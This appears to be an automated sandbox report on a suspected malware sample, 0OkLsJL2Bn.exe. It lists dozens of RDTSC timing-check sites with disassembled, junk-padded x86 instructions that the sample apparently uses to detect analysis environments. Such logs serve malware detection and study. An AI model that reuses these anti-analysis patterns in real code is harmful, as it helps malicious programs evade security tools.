Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33E60D second address: 33E612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33C692 second address: 33C69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33F319 second address: 33F31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33D53C second address: 33D5CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2A36h], esi 0x00000011 pushad 0x00000012 push ebx 0x00000013 sub dword ptr [ebp+12472C6Eh], eax 0x00000019 pop edx 0x0000001a mov eax, dword ptr [ebp+122D1B21h] 0x00000020 popad 0x00000021 push dword ptr fs:[00000000h] 0x00000028 pushad 0x00000029 mov esi, ebx 0x0000002b xor bh, 00000040h 0x0000002e popad 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 mov di, cx 0x00000039 xor edi, dword ptr [ebp+122D3775h] 0x0000003f mov eax, dword ptr [ebp+122D14DDh] 0x00000045 mov ebx, edx 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007F6E34BB4F88h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 mov di, bx 0x00000066 mov edi, dword ptr [ebp+122D377Dh] 0x0000006c push eax 0x0000006d pushad 0x0000006e jmp 00007F6E34BB4F99h 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33E612 second address: 33E618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33D5CE second address: 33D5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33F51B second address: 33F525 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6E35090476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 34043B second address: 340440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33F525 second address: 33F5D5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6E35090478h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F6E35090478h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 add dword ptr [ebp+122D2FFFh], edx 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov dword ptr [ebp+122D2765h], ebx 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f sub ebx, dword ptr [ebp+122DB63Ch] 0x00000045 mov eax, dword ptr [ebp+122D1229h] 0x0000004b push 00000000h 0x0000004d push esi 0x0000004e call 00007F6E35090478h 0x00000053 pop esi 0x00000054 mov dword ptr [esp+04h], esi 0x00000058 add dword ptr [esp+04h], 00000016h 0x00000060 inc esi 0x00000061 push esi 0x00000062 ret 0x00000063 pop esi 0x00000064 ret 0x00000065 push FFFFFFFFh 0x00000067 jc 00007F6E35090484h 0x0000006d pushad 0x0000006e cmc 0x0000006f jmp 00007F6E3509047Bh 0x00000074 popad 0x00000075 nop 0x00000076 jmp 00007F6E3509047Ch 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e push edx 0x0000007f jmp 00007F6E35090482h 0x00000084 pop edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 341545 second address: 34154A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 34154A second address: 341550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 341550 second address: 341568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 341568 second address: 34156D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3416D6 second address: 3416E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6E34BB4F86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3488FF second address: 348909 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6E35090476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 348909 second address: 34890F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 34890F second address: 348929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F6E35090476h 0x00000009 jmp 00007F6E3509047Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E1D28 second address: 2E1D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E1D2E second address: 2E1D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E1D32 second address: 2E1D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E1D3C second address: 2E1D84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090484h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F6E3509047Ah 0x00000011 popad 0x00000012 pushad 0x00000013 jne 00007F6E35090482h 0x00000019 jo 00007F6E3509047Ch 0x0000001f jnc 00007F6E35090476h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E1D84 second address: 2E1D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E1D88 second address: 2E1D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3481B2 second address: 3481CF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E34BB4F8Fh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3484F0 second address: 3484F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3484F6 second address: 3484FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3484FC second address: 348505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352895 second address: 35289F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35289F second address: 3528A9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6E35090482h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352A07 second address: 352A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352A0D second address: 352A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352A13 second address: 352A17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352CBF second address: 352CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352E34 second address: 352E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6E34BB4F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352E3E second address: 352E64 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6E35090476h 0x00000008 jns 00007F6E35090476h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6E35090484h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352E64 second address: 352E85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F95h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 352FD9 second address: 352FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6E35090476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3532C7 second address: 3532CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3532CB second address: 3532E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6E35090476h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F6E3509047Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3532E2 second address: 353307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jg 00007F6E34BB4F9Fh 0x0000000c jmp 00007F6E34BB4F8Eh 0x00000011 jmp 00007F6E34BB4F8Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 353307 second address: 353313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jo 00007F6E35090476h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 353313 second address: 35332B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Bh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35345C second address: 353466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6E35090476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 353466 second address: 35346A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35346A second address: 353478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F6E35090476h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 353478 second address: 35347E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 358DD4 second address: 358DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 358DD9 second address: 358DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 358DDE second address: 358E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jnp 00007F6E35090476h 0x0000000f jmp 00007F6E35090489h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2EA531 second address: 2EA540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F6E34BB4F86h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3586C6 second address: 3586DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F6E3509047Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3586DB second address: 3586E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3586E4 second address: 3586F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jl 00007F6E35090476h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 358AE2 second address: 358AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 358AE8 second address: 358AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F6E35090476h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2E3861 second address: 2E3867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35DF1D second address: 35DF21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35E1C4 second address: 35E1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35E1CA second address: 35E1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6E35090483h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35E1E5 second address: 35E1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35E1E9 second address: 35E1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35E1ED second address: 35E205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F92h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35EEB8 second address: 35EECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090482h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35EECE second address: 35EEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E34BB4F8Ah 0x0000000b push edx 0x0000000c jp 00007F6E34BB4F86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35EEE7 second address: 35EEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 jc 00007F6E35090484h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35EEF6 second address: 35EEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35F2ED second address: 35F2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35F2F1 second address: 35F313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6E34BB4F8Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35DBB1 second address: 35DBDA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F6E3509047Eh 0x0000000e jng 00007F6E35090476h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007F6E3509047Ch 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 35DBDA second address: 35DBE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 ja 00007F6E34BB4F86h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3664D3 second address: 3664D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36AAFD second address: 36AB01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 369938 second address: 369949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3509047Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 369949 second address: 369979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6E34BB4F94h 0x0000000f jmp 00007F6E34BB4F92h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F152 second address: 32F158 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F158 second address: 32F15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F15E second address: 32F1AE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F6E35090478h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 jmp 00007F6E35090486h 0x0000002a lea eax, dword ptr [ebp+1247AE5Dh] 0x00000030 mov di, cx 0x00000033 mov ch, dl 0x00000035 nop 0x00000036 push ecx 0x00000037 pushad 0x00000038 push esi 0x00000039 pop esi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F1AE second address: 32F1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F1BB second address: 32F1C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F1C1 second address: 32F1C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F5F3 second address: 187966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6E3509047Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e sub edx, dword ptr [ebp+122D36FDh] 0x00000014 push dword ptr [ebp+122D012Dh] 0x0000001a pushad 0x0000001b sub dh, 00000014h 0x0000001e mov bx, A60Ah 0x00000022 popad 0x00000023 call dword ptr [ebp+122D33CFh] 0x00000029 pushad 0x0000002a cmc 0x0000002b jmp 00007F6E35090487h 0x00000030 xor eax, eax 0x00000032 mov dword ptr [ebp+122D1978h], ecx 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c pushad 0x0000003d jng 00007F6E3509047Ch 0x00000043 and al, FFFFFFB3h 0x00000046 popad 0x00000047 mov dword ptr [ebp+122D1978h], eax 0x0000004d mov dword ptr [ebp+122D34F9h], eax 0x00000053 xor dword ptr [ebp+122D1978h], ebx 0x00000059 mov esi, 0000003Ch 0x0000005e jmp 00007F6E3509047Ch 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 pushad 0x00000068 call 00007F6E3509047Dh 0x0000006d and si, 0B22h 0x00000072 pop ecx 0x00000073 popad 0x00000074 lodsw 0x00000076 xor dword ptr [ebp+122D1978h], eax 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 cmc 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jmp 00007F6E35090483h 0x0000008a nop 0x0000008b jmp 00007F6E3509047Dh 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 jne 00007F6E35090478h 0x00000099 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F77F second address: 32F784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F784 second address: 32F789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F789 second address: 32F78F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
